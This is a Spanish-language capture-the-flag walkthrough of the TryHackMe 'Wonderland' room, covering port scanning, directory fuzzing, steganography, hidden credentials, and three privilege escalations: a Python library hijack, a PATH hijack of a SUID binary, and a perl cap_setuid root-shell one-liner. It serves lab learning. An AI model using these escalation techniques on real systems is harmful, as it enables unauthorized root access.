Wonderland


January 11, 20235 minutes

https://tryhackme.com/room/wonderland

IP Atacante = 10.10.10.10

IP Víctima = 10.10.3.160

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

❯ ping -c 1 10.10.186.98
PING 10.10.186.98 (10.10.186.98) 56(84) bytes of data.
64 bytes from 10.10.186.98: icmp_seq=1 ttl=63 time=45.4 ms

--- 10.10.186.98 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 45.355/45.355/45.355/0.000 ms

En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación

Escaneo de puertos (nmap)

Ahora empezamos con un escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.126.65 -oG allPorts
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
-sS –min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnSkip host discovery
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   2[*] Extracting information...
   3   4[*] IP Address: 10.10.186.98
   5[*] Open ports: 22,80
   6   7[*] Ports copied to clipboard
   8───────┴─────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos

❯ nmap -p22,80 -sC -sV 10.10.186.98
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8eeefb96cead70dd05a93b0db071b863 (RSA)
|   256 7a927944164f204350a9a847e2c2be84 (ECDSA)
|_  256 000b8044e63d4b6947922c55147e2ac9 (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Follow the white rabbit.

Web (Puerto 80)

Reconocimiento web

Al entrar a la web lo primero que vemos es lo siguiente

Con ctrl + u podemos ver el codigo de la web. Vemos que saca la foto de un subdirectorio llamado img

<img src="/img/white_rabbit_1.jpg" style="height: 50rem;">

Al entrar al directorio /img vemos que hay 2 fotos más

  • alice_door.jpg
  • alice_door.png
  • white_rabbit_1.jpg

Buscando archivos ocultos en las fotos

Nos las pasamos a nuestra máquina con wget:

wget http://10.10.186.98/img/alice_door.jpg
wget http://10.10.186.98/img/alice_door.png
wget http://10.10.186.98/img/white_rabbit_1.jpg

Con la herramienta steghide podemos comprobar si contienen archivos ocultos

steghide extract -sf white_rabbit_1.jpg

Solo la foto white_rabbit_1.jpg contiene un archivo oculto, el cual dice lo siguiente

follow the r a b b i t

Buscando subdirectorios

Con wfuzz vamos a buscar subdirectorios en la web

wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.186.98/FUZZ

Encuentra los siguientes subdirectorios:

  • r
  • img
  • poem

Al entrar en el /r vemos lo siguiente:

Vamos a volver a usar el wfuzz sobre el directorio /r

wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.186.98/r/FUZZ

Nos encuentra un subdirectorio llamado a. Recordando la pista que había en la primera foto “follow the r a b b i t” podemos intuir que habrá un subdirectorio por cada letra de la palabra “rabbit”.

Dentro de http://10.10.186.98/r/a/b/b/i/t vemos lo siguiente

Pulsando ctrl + u para ver el código de la web podemos ver una línea que dice un usuario y una contraseña

<p style="display: none;">alice:--password-censurada--</p>

ssh (puerto 22)

Ya nos podemos conectar por ssh con las credenciales anteriores…

ssh alice@10.10.186.98

Escalada de privilegios

Escalada a rabbit

Dentro de la carpeta /home/alice/ vemos tres archivos

  • -rw——- root.txt
  • -rw-r–r– walrus_and_the_carpenter.py

Con sudo -l vemos que podemos ejecutar /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py como el usuario rabbit.

Viendo el código del archivo walrus_and_the_carpenter.py vemos que importa la librería random para después usar la función choice.

Lo que podemos hacer es, en la misma carpeta crear un archivo llamado random.py, para que sea este archivo el que importe y no el de /usr/lib/python3.6/random.py y asi poder ejecutar código como rabbit.

Contenido del random.py:

import os

def choice(a):
   os.system("whoami")

Al ejecutar el walrus_and_the_carpenter.py sale lo siguiente:

alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
rabbit
The line was:	 None

Ahora si cambiamos el código del random.py a lo siguiente y volvemos a ejecutar el walrus_and_the_carpenter.py ya somos rabbit

import os

def choice(a):
   os.system("bash")

Escalada a hatter

En /home/rabbit/ hay un archivo llamado teaParty que es un binario con permisos suid

-rwsr-sr-x 1 root root 16816 May 25 2020 teaParty

Al ejecutarlo vemos lo siguiente:

rabbit@wonderland:/home/rabbit$ ./teaParty 
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by Thu, 12 Jan 2023 15:48:13 +0000
Ask very nicely, and I will give you some tea while you wait for him

Con el comando strings podemos ver cadenas de texto legible. Podemos ver que usa el comando date se ejecuta con la ruta relativa. Ejemplo (/bin/echo: Ruta absoluta / echo: Ruta relativa).

Nos podemos aprovechar de esto ejecutando lo siguiente:

export PATH=/tmp:$PATH

La variable PATH es utilizada para especificar una lista de directorios separados por un delimitador (generalmente un dos puntos “:”) en los que el sistema operativo buscará ejecutables. En este caso, se agrega el directorio “/tmp” al inicio de la lista existente de directorios en PATH. Esto significa que el sistema operativo buscará primero en el directorio “/tmp” cuando se busque un ejecutable.

Ahora dentro de /tmp podemos crear un archivo llamado date con el siguiente código:

#!/bin/bash

bash

Ya podemos ejecutar el teaParty y somos hatter

Escalada a root

En /home/hatter hay un archivo con su contraseña.

El comando “getcap” muestra los permisos de ejecución de los programas en el sistema de archivos raíz ("/")

hatter@wonderland:/home/rabbit$ getcap -r / 2>/dev/null
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep

Si el binario tiene la capacidad CAP_SETUID de Linux establecida o es ejecutado por otro binario con la capacidad establecida, se puede usar como una puerta trasera para mantener el acceso privilegiado mediante la manipulación de su propio UID de proceso.

/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

Ya somos root